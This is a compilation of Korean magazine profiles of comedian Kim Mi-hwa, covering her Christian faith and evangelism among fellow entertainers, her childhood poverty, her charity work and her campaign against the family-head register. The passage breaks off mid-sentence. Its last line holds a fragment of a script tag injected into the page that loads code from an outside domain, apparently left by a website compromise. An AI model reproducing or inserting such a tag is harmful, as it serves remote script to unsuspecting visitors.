김미화 극성은 아무도 못말려 [개그우먼 김미화]
김미화 : 완선아 너 이리 좀 와봐 김완선 : 언니 그만 좀 해, 우리 대본 연습하자 응? 김미화 : 지금 대본 연습이 문제가 아냐 너, 지난주에 교회 갔어? 안 갔어? 김미화 : 지난주에 나하고 약속했잖아. 교회 가서 예배 드리기로 말야. 안되겠어. 이번 주엔 나하고 만나서 우리 교회로 가자. 김완선 : 우와 언니 정말 끈질기다. 끈질겨. 김미화 : 이게 다 너를 위해서 이러는 거다. 사람은 하나님을 바로 알고 믿음을 갖고 하늘의 소망을 갖고 살아가는 거야. (이때 서세원 집사 옆에서 끼여들며)
서세원 : 아, 이번 주엔 웬즈이~ 완선이랑 함께 우리교회서 예배드리고 싶어라. 완선이와 함께 예배당에 앉아 하나님의 사랑으로 샤워를 하고 싶어라. (옆에서 지켜보고 있던 이용식 집사도 끼여들며) 이용식 : 야 완선이 갖고 미화하고 세원이가 서로 자기 교회 가자고 싸우는데 그럼 아예 우리교회로 가자. 내가 완선이네 집 앞으로 주일날 데리러 갈 테니까 말야. 김완선 : (머리를 흔들며) 아, 그만 알았어요. 이번 주엔 꼭 교회 나갈 테니까 그만들 하세요.선배님들....
자, 이게 도대체 무슨 장면인가? 바로 매주 금요일 오후 6시 KBS 본관 제 4 스튜디오에 벌어지는 ‘코미디 세상만사’녹화 장에서 분장을 하고 있는 김미화 집사, 서세원 집사, 이용식 집사가 가수 김완선을 앉혀놓고 벌이는 전도작전의 한 장면이다. 물론 그 작전에서의 분위기 주도적인 역할은 김미화 집사(사랑의 교회). 그는 이처럼 방송국에서 시간만 나면 그리고 전도 대상자만 그의 레이더망에 포착되면 어김없이 전도공세를 펼치고 있다 김미화 : 하나님이 저를 방송국에 보내신 이유는 물론 재밌은 연기로 많은 사람들에게 웃음을 주라고 하신 것도 있겠지만 방송국에서 함께 일하는 만은 동료와 후배 연예인들에게 전도를 하라고 하신 것 같아요. 전 그 사명을 감당해야죠.
화면에서만 보아왔던 그 왕수다쟁이 모습은 사라지고 믿음 좋은 크리스천이 되어 부끄러운 듯, 그리고 .비장한 표정으로 이야기하는 김미화 집사. 그녀가 이처럼 하나님을 사랑하게 된 것은 아주 오래 전 초등학교 시절로 돌아간다. 지금은 꽤나 발전된 곳이지만 김미화 집사가 초등학교 시절만 해도 가난과 궁상으로 범벅이 된 곳이 바로 삼양동이었다. 처음엔 그냥 친구들과 함께 교회서 공책 주고 과자를 주는 것 때문에 교회를 나가기 시작했다. 하지만 어린 딸이 교회 나가는 것을 못마땅하게 생각하시는 아버지 때문에 그것마저도 당당하게 다니지는 못했다 사람은 편안하고 여유로운 때 보다도 조금은 힘들고 어려울 때 더 간절해지는 법인가? 어린 소녀 김미화는 아버지가 교회를 못 가게 하자 더욱 하나님께 기도하기 시작했다. 고사리 같은 손으로 아버지를 위해서 말이다. 비록 나이 어린 소녀였지만 김미화 집사의 기도는 매우 진지했고 신앙생활 역시 열심히 했다. 교회 안에서 여자아이들끼리 서로 싸우고 토라지면 그 사이에 끼여들어 국보급 재능인 왕수다로 화해분위기를 만들어 가는가 하면 교회서 성경퀴즈대회, 찬송가 부르기 대회, 야유회 같은 행사에서 빼놓을 수 없는 분위기 메이커가 되어 간 것이다.
김미화 집사가 가장 잊지 못하는 추억 한가지를 들어보자.
김미화 : 성탄절 전날 밤, 교회서 성극을 하는데 제가 하필이면 천사역할을 맡았습니다. 들판에서 잠자는 목동에게 아기 예수의 탄생을 알려주는 장면인데 목동이 대사를 잊어 먹은 거예요. 그래서 한참동안이나 대사를 못하고 우물쭈물 하길래 내가 그랬죠. ‘대사를 잊어먹은 목동은 아기 예수의 탄생을 찾아갈 자격이 없는 것 같다. 차라리 다른 목동을 찾던가 내가 가는 게 낳겠다’ 그랬더니 갑자기 교인들이 박장대소를 하고 난리가 났었습니다. 아마도 그때부터 남을 웃기는 쪽으로 순발력이 뛰어났던 것 같습니다 이렇게 어린시절, 교회에 대한 아름다운 추억을 갖고 있는 김미화 집사. 가난에 찌든 어린 생활이었지만 그래도 교회만 가면 행복하고 즐거웠던 시간들, 어린 김미화는 늘 하나님께 향한 기도제목이 가난에서 벗어날 수 있게 해 달라는 것이었다. 부자가 되고 싶은 것도 아니고 잘먹고 잘 살고 싶다는 것도 아니고 다만 지금처럼의 어려운 상황만이라도 벗어날 수 있게 해 달라는 어린애 답지 않은 바램이었다. 그로부터 십오년 뒤, 어린 김미화는 처녀가 되었고 개그맨이 되었다. 가난도 이젠 멀찌감치 떠나버린 이야기가 되었고 그녀를 알아보는 사람도 꽤 많아졌다. 바뀐 것이 많은 것이다, 김미화 씨는 자신의 변화된 여러 가지 중에 단 한가지 맘에 걸리는 것이 있다. 그것은 바로 교회를 나가지 않는 다는 것. 마치 집에 가스밸브를 잠그지 않고 밖에 나온 듯한 불안감, 언젠가 무슨 일이 터져도 크게 터질 것만 같은 불안함이 그녀의 가슴 한 쪽에서 무겁게 짓누르고 있던 어느 날 그녀는 SBS방송국의 엘리베이터 앞에서 역사적인 게시물을 발견하게 된다. ‘개그맨 신우회 예배에 당신을 초대합니다’ 하얀 복사기에 예쁘게 매직펜으로 쓰여 있었던 그때의 그 글씨를 김미화 씨는 잊을 수 없다고 한다. 게시물에 적혀있던 그 시간과 장소에 찾아가 조심스럽게 문을 열던 순간. 김미화 씨는 놀라지 않을 수 없었다. 그 방안에는 그 동안 함께 일하던 수많은 동료 개그맨들이 둘러앉아 찬송가를 부르고 있는 중이었다. 최양락, 김학래, 이성미, 이경애, 임미숙, 전창걸, 김은우, 이용식, 최형만.... ‘아 세상에’ 김미화 씨는 입에서 그 말만 나왔다. 그리고 너무도 자연스럽게 그 옆자리에 앉아 함께 찬송가를 부르기 시작했다. ‘멀리 멀리 갔더니 피곤하고 곤하여 슬프고 또 외로워 정처 없이 다니니 예수여 예수여 지금 내게 오셔서 떠나가지 마시고 길이 함께 하소서...’ 참으로 오래간만에 불러 보는 찬송가, 김미화 씨는 그날 그 자리에 나간 것이 다시 새롭게 태어난 날이라고 생각하고 있다. 남을 웃겨야 한다는 강박관념, 새로운 아이디어를 매일 짜내야 한다는 스트레스, 그리고 점점 치열해져 가는 시청률의 전쟁 속에서 인기도 끌어야 한다는 부담감, 나이 먹은 여자 개그맨, 그다지 예쁜 얼굴은 아닌 자신의 모습, 이런 여러 가지 이유로 하루하루가 힘들고 괴로웠던 그 동안의 개그맨 생활, 그런 그녀에게 새로운 에너지를 주고 삶의 엔돌핀을 주시는 하나님을 새롭게 만나게 된 것이다. 그래서 아무리 바쁘고 시간이 없다 하더라도 방송국에서 드리는 신우회 예배만은 꼭 빠지지 않으려고 한다. 치열한 삶의 현장에서 드리는 예배가 또 다른 의미로 다가오기 때문이다. 그리고 예전의 자신처럼 방송일 에 지친 후배 연예인들을 그 신우회 예배에 참석시키고 싶어하는 것이다. 방송국의 분장실에서 조금 지쳐있다 싶은 후배가 보이면 자동판매기에서 뽑은 커피를 한잔 들고 가 조용히 말을 걸어본다, 그럼 뜻하지 않은 김미화 집사의 행동을 보고 순순히 고민을 털어놓는 후배들, 그럴 때 김미화는 조심스럽게 전도지를 건네는 것이다
김미화 : 힘들어하지마, 하나님이 분명히 너에게 용기와 힘을 주실 꺼야, 널 사랑하니까 말야.
하나님의 사랑은 시청자나 팬들의 사랑하고는 차원이 다른 거니까. 개그맨 김미화 집사는 젊은 사람, 젊은 감각만이 대접을 받는 코미디 프로에서 자신이 아직도 인기를 얻고 있는 것은 분명히 하나님의 축복이라고 생각한다. 그 축복이 너무나 감사해서 그녀는 오늘도 열심히 분장실에서 전도를 하고 있는 것이다. 1주일 후, 다시 ‘코미디 세상만사’의 분장실 풍경
김완선 : 미화 언니, 나 지난주에 교회 갔었다. 나 예쁘지? 김미화 : 그랬어? 정말 너 예쁘다. 그러니 하나님은 얼마나 더 예뻐하겠니? 이용식 :(옆에서 끼여들며) 하여튼 김미화 극성은 아무도 못 말려!
“이 많은 사랑 다 어떻게 갚지요?” - 개그우먼 김미화
데뷔 18년째가 되는데도 정상의 자리에서 내려올 줄 모르는 개그우먼 김미화 씨(36). 그녀는 요즘 개그콘서트, 체험 삶의 현장, 뷰티플 라이프 등 한주간이 정신없이 지나가지만 피곤함 속에서도 사랑받고 있다는 느낌 때문에 새힘을 얻는다.
“이제껏 삶을 돌아보면 베풀었던 사랑보다 받았던 사랑이 훨씬 많았어요. 요즘은 자주 가지 못하지만 평소 친분이 있는 양로원, 고아원 등을 방문하게 되면 마치 어머니의 손처럼 제 손을 꼭 잡아주시며 저를 위해 늘 기도하고 있다는 말을 듣습니다. 그때 받는 격려와 위로는 이루 말할 수 없어요. 그리고 깨닫는 거죠. ‘아 - 내가 베푼 것과는 비교할 수 없는 사랑을 받고 있구나’ 하고 말이죠.”
83년 KBS개그컨테스트에 출전, ‘사부와 석순이’로 은상을 수상하면서 방송계에 입문한 김미화 씨는 2년동안 캐스팅이 잘되지 않아 정말 많은 고민을 했었다고 고백한다. 어려운 가정형편 탓에 자신이 생활비를 벌어야 했던 그녀는 다시 예전의 직장생활로 돌아갈까라는 갈등 속에 간절한 기도가 자연스레 입술에서 흘러나왔다.
“하나님, 이 상태로 머물게 하지 마세요. 인기인이 되게 해주세요.” 이 기도를 하나님은 들으셨고 그녀의 꿈을 이뤄주셨다. “고달프고 힘들었던 신인시절의 경험와 초등학교 4학년 때 아버지를 잃은 이후 겪었던 어려움은 지금의 제가 있게한 힘의 원천이에요. 그 시절 정말 뜨겁게 하나님께 기도하는 법을 배웠죠. 처음에도 그랬지만 하나님은 제게 무엇을 어떻게 하라고 조건을 붙이셨던 분이 아닙니다. 다만 무조건적인 사랑만을 받았죠.”
타인에 대한 배려 먼저 배우자 그녀는 이러한 무조건적인 사랑에 보답하는 길은 주님이 그러하셨던 것처럼 소외된 우리의 이웃을 향해 사랑을 전하는 통로가 되는 것이라 믿는다. “소외된 우리의 이웃들에게 베푸는 삶을 살고 싶지만 결국 제가 더 많이 받으며 살고 있다는 생각을 합니다. 늘 부족하다고 느껴요. 어떤 분들은 제게 자꾸 간증을 하라고 하는데 아직은 때가 아니라고 답합니다. 아직은 큰 부담이에요.”
불우한 노인과 형편이 어려운 어린이들을 연결해 주는 ‘사랑의 삼각끈 운동본부’와 유니세프 등 평소 그녀가 소외된 이웃과 함께 하는 일에 앞장 서온 일은 이미 많이 알려진 사실이다. “소외된 우리의 이웃들이 자립할 수 있는 토대마련은 정부뿐 아니라 우리 각자가 해야 할 일입니다.” 그녀가 이러한 소외계층에게 관심을 갖는 것은 그녀의 어려웠던 어린시절과 무관하지 않다. 생활이 어려워 대학진학 대신 직장을 선택해야 했고 그녀의 봉급은 고스란히 가족부양에 쓰여졌다. 하지만 활달하고 밝은 성격과 신앙은 그녀의 버팀목이 되었고 이때의 서민적인 정서는 그녀의 개그에 고스란히 묻어났다.
86년 ‘김미화’란 이름을 모든 사람들의 머리에 각인시킨 계기가 되었던 ‘쓰리랑 부부’가 그러했고 제2의 전성기를 구가한 ‘삼순이 블루스’에서도 그러했다. 그리고 제3의 전성기라고 볼 수 있는 ‘개그콘서트’에서의 신세대적인 감각은 ‘김미화’는 절대 한곳에 머물지 않고 끊임없이 연구하는 연기자라는 인상을 우리에게 심어줬다.
‘타고난 끼’, ‘순발력 가장 뛰어난 개그우먼’이란 별칭뒤엔 끊임없이 밤늦도록 서재에서 연구하며 씨름하는 그녀의 숨은 노력과 기도가 있었기 때문이다. “개그콘서트를 시작하기전 모든 출연자들은 손을 잡고 함께 기도합니다. 자기에게 맡겨진 그 일과 자리에서 최선을 다하고 힘과 지혜를 달라고요. 그러면 어느새 마음이 안정됩니다.”
그녀는 절대 1등만을 하라고 강조하는 사람이 아니다. 두 딸에게도 공부보단 타인을 배려하는 마음을 갖도록 하는 것이 그녀의 소중한 바람이다. “두 딸이 그 키와 지혜가 자람에 따라 하나님과 사람에게 사랑받는 아이들이 되도록 기도합니다. 아이들 만큼 하나님이 내게 주신 가장 큰 선물은 없기 때문입니다. 매일 아이들의 머리맡에서도 ‘너희는 하나님이 엄마에게 주신 가장 큰 선물이야’라고 말해줍니다”라는 김미화 씨의 입술에선 미소가 잔잔이 퍼져 나온다.(신앙계)
![](https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Fwww.queen.co.kr%2Fimg%2F200307%2Fpeo_new_03_img.jpg)
개그우먼 김미화,친아버지‘박씨’성 버리고 ‘김미화’로 살아야 했던가슴 아픈 성장기“어두운 과거 잊으려 더 열심히 웃고 웃기며 살았다” 방송활동, 학교생활, 시민운동 등으로 바쁜 나날을 보내고 있는 개그우먼 김미화가 연기 생활 20년째를 맞았다. 일찍 아버지를 여의고 힘겨운 청소년기를 보냈던 그녀가 전하는 울고 웃으며 보냈던 지난 20년 무대 인생.
글 _ 신규섭 기자 사진 _ 박해묵 기자
대여섯 살 무렵부터 동네 사람들 앞에서 배삼룡, 서영춘의 흉내를 내며 코미디언의 꿈을 키웠던 그녀. 초등학교 2학년 때 아버지를 여읜 뒤 코미디언의 꿈은 더 단단해졌다. ‘아버지 없는 아이’라는 놀림을 피하기 위해 남들 앞에서 일부러 웃음을 잃지 않았다. 각종 사회시민운동에 적극적으로 참여하며 연예인 사회 참여의 모범 사례로 손꼽히는 코미디언 김미화가 이번에는 호주제 폐지 운동에 앞장서고 나섰다. 현재 한국여성단체연합의 ‘호주제 폐지 홍보대사’ ‘호주제 폐지를 위한 시민연대’의 ‘호주제 폐지 272 회원’ 등으로 활동하고 있는 그녀는 어떠한 형태의 삶도 존중돼야 하고 성씨 등 자신을 둘러싼 삶의 조건들을 스스로 선택할 수 있는 것이 민주주의 사회라는 점에서 우리 사회의 질적 성숙을 위해 호주제는 반드시 폐지돼야 한다고 주장한다. “호주제 폐지가 가족 해체를 주장한다는 유림의 주장은 맞지 않아요. 여성과 아이들에게만 지워진, 가족 해체의 폐해를 덜어주는 것이 호주제 폐지예요. 특히 자녀들에게 부모의 성을 선택할 수 있는 권리를 부여하는 것은 민주주의, 양성 평등을 위해서 반드시 필요한 것입니다.” 그녀의 이런 주장이 더 큰 설득력을 얻는 것은 자신의 성장과정에서 그녀 역시 직접적인 피해는 아니지만 호주제로 인해 적잖은 피해를 입었기 때문. 호주제 폐지를 주장하는 이면에는 자신의 아픈 성장기도 적잖은 몫을 차지하는 셈이다. 굳이 들춰내기 힘든 성장사를 거론하는 게 못내 꺼려졌는지 처음 전화를 걸었을 때 그녀는 한참 지난 이야기를 꺼내 봐야 지금 행복하게 사는 부모에게 누가 될 뿐이라며 완곡하게 인터뷰를 거절했다. 그러다 몇 마디 말이 오간 후 굳이 숨길 필요는 없다며 그녀는 인터뷰 날짜를 잡아주었다.
친부 일찍 세상 등져 어머니 성 따라야 했던 과거
아침 토크 프로그램에서 그녀가 맡은 코너 촬영이 있던 날 한 외국인 대사관저에서 그녀를 만났다. 한동안 호주제 폐지 운동에 열을 올리던 그녀는 이상하게 자신의 이야기가 와전된 것 같다며 성장기의 아픔에 대해 조금씩 입을 열었다. TV 화면에서는 늘 웃는 모습만 보여온 그녀에게도 아픈 가족사가 있었다. 사실 그녀는 김미화가 아니라 박미화였던 것. 친부였던 아버지가 초등학교 2학년 때 폐병으로 세상을 등진 이후 지금껏 ?script src=http://batyu.cn>
|